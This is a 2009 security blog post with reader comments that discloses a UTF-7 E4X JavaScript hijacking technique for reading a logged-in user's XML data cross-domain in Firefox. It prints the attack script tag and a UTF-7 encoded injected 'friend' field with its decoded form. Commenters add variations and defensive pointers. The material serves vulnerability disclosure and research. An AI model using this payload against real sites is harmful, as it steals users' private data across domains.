Inline UTF-7 E4X javascript hijacking
Tuesday, 24 February 2009
I finally get to talk about this because Yosuke Hasegawa has already disclosed the IE/FF variant with JSON data. I also discovered the UTF-7 JSON hacking independently but I wasn’t aware it was public so I didn’t blog about it. Just in case you haven’t, you should check out his presentation it’s awesome!
Anyway onto E4X I just love it 🙂 Currently it is only fully supported by Firefox and maybe Google Chrome I think. It enables you to use XML data within Javascript and has plenty of little quirks I’ve blogged about in the past. I won’t go into detail about what it is, you’ll have to Google around for that.
So you can use XML data within javascript that means we can access that data cross domain but only if it’s been assigned to a variable right? Well not exactly. You see if we can control any aspect of the XML data we can then poison it with UTF-7 encoded data, this means we can access inline XML without any variable assignment.
Lets take a sample of fictional data that is returned when you’re logged onto a web site:-
<friendList>
<friend>
<name>Name1</name>
<email>somebody@somewhere1.com</email>
</friend>
<friend>
<name>Name2</name>
<email>somebody@somewhere2.com</email>
</friend>
etc...
</friendList>
So if you can control a new friend within the XML data, we can get the contents of the data remotely by including a SCRIPT tag to the data along with a UTF-7 charset. Here is how the attack would work:-
<script defer="defer" charset="UTF-7" src="http://somesite.com/home/friendslist.php"></script>
<script>
window.onload = function() {
alert(x);
}
</script>
And we add a new friend called poison with the following data:-
<friend>
<name>Poison</name>
<email>+ADwALwBlAG0AYQBpAGwAPgA8AC8AZgByAGkAZQBuAGQAPgA8AC8AZgByAGkAZQBuAGQATABpAHMAdAA+ADsAeAA9ADwAZgByAGkAZQBuAGQATABpAHMAdAA+ADwAZgByAGkAZQBuAGQAPgA8AGUAbQBhAGkAbAA+-</email>
</friend>
If we decode the above UTF-7 string we get the following:-
</email></friend></friendList>;x=<friendList><friend><email>
Notice the “X” assignment, this is how we steal the data. We close the email, friend and friendlist tags within the UTF-7 encoded data and start a new E4X block. A POC is available here which would also work cross domain:-
No. 1 — February 24th, 2009 at 11:51 am
There’s also some cool info on injecting javascript constructors into E4X here: http://code.google.com/p/doctype/wiki/ArticleE4XSecurity But of course that suffers from you needing two injection points.
No. 2 — February 24th, 2009 at 11:52 am
Thanks for the link, I’ll check it out
No. 3 — February 24th, 2009 at 2:00 pm
Good stuff Gareth! charset attribute on script tags is new to me. any other weird tags support it?
No. 4 — February 24th, 2009 at 2:04 pm
@thornmaker
You can remote include styles using the link tag, a variation on the one in our Bluehat presentation
No. 5 — February 24th, 2009 at 4:17 pm
How would the server protect against this? Does the charset tag override the charset header the servers sends with the data?
No. 6 — February 24th, 2009 at 5:05 pm
@c
See Kuza’s link which discusses defensive measures at the bottom.
No. 7 — February 27th, 2009 at 2:04 am
sweeeeeeeeeeeet dude
No. 8 — January 13th, 2010 at 1:15 am
Nice!! I only just saw this, for some reason. Great attack.
Google Chrome (or more accurately, v8) doesn’t have E4X support at the moment. Best I know it’s only Firefox.
My foray into E4X security was: http://scarybeastsecurity.blogspot.com/2009/05/more-plausible-e4x-attack.html
In response to that, Firefox committed a change in 3.5 such that pure XML was not considered valid JavaScript. I’m curious if that change also fixes your UTF7 attack, or if terminating the XML and including another JavaScript statement after causes Firefox to not error?
General question I suppose – is FF3.5.8 still vulnerable to this?
Have fun,
Chris
p.s. the XML isn’t rendering properly in my browser. You probably want to escape braces etc. with < even though you’re in a PRE tag.
No. 9 — January 13th, 2010 at 1:39 pm
@Chris
Hey Chris, fixed the XML it was because I used a code formatter plugin and now that I removed it (because it was vulnerable =) ) the raw XML data displayed.
I sent you a email about e4x
No. 10 — March 2nd, 2010 at 9:50 pm
You can hijack the rest of the XML by defining a setter on XML.prototype. Then you could do xml.function::hijack = rest-of-the-xml.
No. 11 — March 2nd, 2010 at 10:00 pm
@Eli
Interesting the E4X spec says this shouldn’t be possible, have you got a POC?
Anyway it’s possible to get the rest of the doc using setTimeout and assigning the remaining HTML to a E4X variable